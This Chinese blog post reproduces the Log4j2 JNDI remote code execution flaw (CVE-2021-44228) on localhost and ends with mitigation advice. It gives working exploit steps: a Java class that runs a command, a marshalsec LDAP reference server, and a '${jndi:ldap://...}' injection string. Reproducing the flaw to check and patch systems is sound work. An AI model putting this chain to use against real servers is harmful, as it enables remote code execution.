检查你的项目有没有Apache Log4j2 RCE漏洞

简介: 12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。

简介

三步快速检测你的项目有没有Apache Log4j2 RCE漏洞。

漏洞原因

在使用org/apache/logging/log4j/spi/AbstractLogger.java log记录日志时,且log等级为执行等级就能触发。原因是log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要注入log参数内容,就有机会实现漏洞利用。


  1. 准备要远程执行的恶意代码,命名Log4jRCE.java,用javac编译成class文件

public class Log4jRCE {

   static {

       try {

           String [] cmd={"calc"};

           java.lang.Runtime.getRuntime().exec(cmd).waitFor();

       }catch (Exception e){

           e.printStackTrace();

       }

   }

}


  1. 在当前目录启动cmd,用python启动一个HTTPServer 服务,python -m http.server 8888,检测一下服务状态 http://127.0.0.1:8888/

image.png

  1. 开启JNDI LDAPRefServer:

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

# Java 8 required

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

image.png


在你的项目main方法里添加代码:

org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Demo.class);

logger.error("${jndi:ldap://127.0.0.1:1389/#Log4jRCE}");

image.png

执行远程代码成功,打开了本地的计算器程序。漏洞复现成功。


触发条件

  1. JDK版本11.0.1、8u191、7u201、6u211以下版本。其它版本需要增加代码System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  2. 系统有可注入入口,比如后端拿到前端传来的字符串,打印了开启日志等级的日志。
  3. 系统使用log4j-api,log4j-core 2.14.1及以下版本



   org.apache.logging.log4j
   log4j-api
   2.14.1



   org.apache.logging.log4j
   log4j-core
   2.14.1


建议修复

  • JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true log4j2.formatMsgNoLookups=True
  • 升级log4j版本2.14.1以上
  • 升级jdk版本


参考链接

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce/issues/5

目录
打赏
0
0
0
0
1
分享
相关文章
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
这篇文章介绍了如何在Windows 7系统上搭建PHP、MySQL和Apache环境,并部署ECShop项目,包括安装配置步骤、解决常见问题以及使用XAMPP集成环境的替代方案。
93 1
win7系统搭建PHP+Mysql+Apache环境+部署ecshop项目
多应用模式下,忽略项目的入口文件,重写Apache规则
本文介绍了在多应用模式下,如何通过编辑Apache的.htaccess文件来重写URL规则,从而实现忽略项目入口文件index.php进行访问的方法。
使用IDEA修改Web项目访问路径,以及解决Apache Tomcat控制台中文乱码问题
本文介绍了在IntelliJ IDEA中修改Web项目访问路径的步骤,包括修改项目、模块、Artifacts的配置,编辑Tomcat服务器设置,以及解决Apache Tomcat控制台中文乱码问题的方法。
390 0
使用IDEA修改Web项目访问路径,以及解决Apache Tomcat控制台中文乱码问题
"Linux系统实战:从零开始部署Apache+PHP Web项目,轻松搭建您的在线应用"
【8月更文挑战第9天】Linux作为服务器操作系统,凭借其稳定性和安全性成为部署Web项目的优选平台。本文以Apache Web服务器和PHP项目为例,介绍部署流程。首先,通过包管理器安装Apache与PHP;接着创建项目目录,并上传项目文件至该目录;根据需要配置Apache虚拟主机;最后重启Apache服务并测试项目。确保防火墙允许HTTP流量,正确配置数据库连接,并定期更新系统以维持安全。随着项目复杂度提升,进一步学习高级配置将变得必要。
516 0
官宣|Apache Paimon 毕业成为顶级项目,数据湖步入实时新篇章!
Apache Paimon 在构建实时数据湖与流批处理技术领域取得了重大突破,数据湖步入实时新篇章!
3292 6
官宣|Apache Paimon 毕业成为顶级项目,数据湖步入实时新篇章!
官宣|阿里巴巴捐赠的 Flink CDC 项目正式加入 Apache 基金会
本文整理自阿里云开源大数据平台徐榜江 (雪尽),关于阿里巴巴捐赠的 Flink CDC 项目正式加入 Apache 基金会。
2165 2
官宣|阿里巴巴捐赠的 Flink CDC 项目正式加入 Apache 基金会
【开源项目推荐】Apache Superset——最优秀的开源数据可视化与数据探索平台
【开源项目推荐】Apache Superset——最优秀的开源数据可视化与数据探索平台
545 33
Windows下Apache部署多个php项目
在 Windows 系统下,使用 Apache 服务器发布多个 PHP 项目是一项常见的任务。本文将介绍如何在 Windows 操作系统下使用 Apache 发布多个 PHP 项目。在 Windows 操作系统下使用 Apache 发布多个 PHP 项目可能有一些挑战,但是只要您按照本文的步骤进行操作,您就可以成功地完成这项任务。希望本文能够对您有所帮助。
157 0
Apache StreamPark系列教程第二篇——项目打包和开发
Apache StreamPark系列教程第二篇——项目打包和开发
319 0

推荐镜像

更多